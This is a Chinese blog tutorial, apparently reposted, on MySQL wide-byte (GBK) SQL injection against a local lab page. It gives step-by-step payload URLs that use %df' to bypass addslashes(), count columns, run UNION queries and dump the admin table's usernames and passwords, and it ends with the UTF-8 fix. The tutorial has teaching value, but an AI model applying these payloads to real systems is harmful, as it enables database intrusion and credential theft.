mysql宽字节数_sql注入入门 之mysql宽字节注入

ea730b5d550e2c7164ddf5816375e043.gif

1,如下,宽字节注入的原型实例代码,注意连接字符集为gbk,对传入的值已用addslashes()做了转义,另外,php是把id当做一个字符串来接收的,后面在闭合的时候需要注意下,具体如下:

2582440895efe60763d6bee22472b88a.png

2,本此用于测试的 宽字节注入点,如下

http://192.168.3.23/wide/0x01/index.php?id=2

002665a4fd80e88314e3aff7510bc33f.png

3,这时当我们用经典的单引号尝试对传入参数进行干扰时发现,貌似并没有任何反应,原因很明显,因为addslashes()已经把我们提交的单引号给转义了

http://192.168.3.23/wide/0x01/index.php?id=2'

11cda7dae61a6dc6e5e827fd27110aaf.png

4,现在,我们就可以尝试利用宽字符来突破类似的转义问题,这里使用经典的%df宽字符,如下,页面返回数据库报错,说明我们的单引号已经被带入正常的sql语句中执行查询了,也就是说,用于转义的那个’\’已经罢工了

8fbf51577e0faadbcd10b24630bc7f15.png

5,通过观察打出来的sql语句,可以发现,那个 ‘%df’和’\’ 在gbk字符编码中变成了‘運’字,所以这才会造成转义才会失效,既如此,闭合自然就非常简单了,因为是字符型注入,只需要把前面的单引号闭合,后面的语句直接注释掉即可,具体的注入语句如下

http://192.168.3.23/wide/0x01/index.php?id=2%df'and 1=1 %23   条件为真时返回正常

8ce01151cb6abcd306798ffa74d1cf27.png

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 %23 条件为真时返回异常

9f29fb29dd66d982a1ea6f98556e18fb.png

6,查询当前表的字段个数

http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 3 %23 为3时返回正常

e914668e606a303406b4320bf05b0317.png

http://192.168.3.23/wide/0x01/index.php?id=2%df' order by 4 %23 为4时返回异常,说明当前表有3个字段

24cb77f6ba8d615c0d9cf2e515422be6.png

7,执行union,爆出对应的数据显示位

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,2,3 %23

26abd7b824d024680c23e46a562dcd69.png

8,搜集当前数据库信息,这里只是为了给大家演示下宽字节的正常注入流程,就不再尝试读写文件了,暂时按照正常的权限来,有兴趣可自行尝试

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=21 UNION SELECT 1,database(),version() %23

525396fecb5ec20a791fd798d327ac5b.png

9,查出当前库中的所有表名

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(table_name),user() from information_schema.tables where table_schema=0x64617461 %23

9afd7f61712c598cebd3762cf7bd3e20.png

10,查出admin表中的所有字段名

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,group_concat(column_name),user() from information_schema.columns where table_name=0x61646d696e %23

31d17f89aea26eab32eb34df8db87583.png

11,最后,去查出管理的账号密码数据即可

http://192.168.3.23/wide/0x01/index.php?id=2%df' and 1=12 union select 1,name,pass from admin limit 0,1 %23

31003d070c89f08d163e1c0818231c88.png

一点小结:

篇幅原因,这里只简单演示了GBK一种编码,至于GB2312等其它的一些宽字节字符集,也都会有这样的问题,关于宽字节注入,其实原理非常简单,就是数据库对不同编码的理解差异所造成的,最好的修复方法,就是全站(前后端全局统一)统一用utf-8,在适当的闭合后,注入语句和常规的注入语句基本没有任何差别,记得多找实例练习即可

文章出处:klion's blog

原文链接:https://klionsec.github.io/2016/05/15/mysql-wide-byte-injection/

cdcb37927b4d707d64a9fa171392d075.png

ec67013a47e11fddd35b4549b5c810b2.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值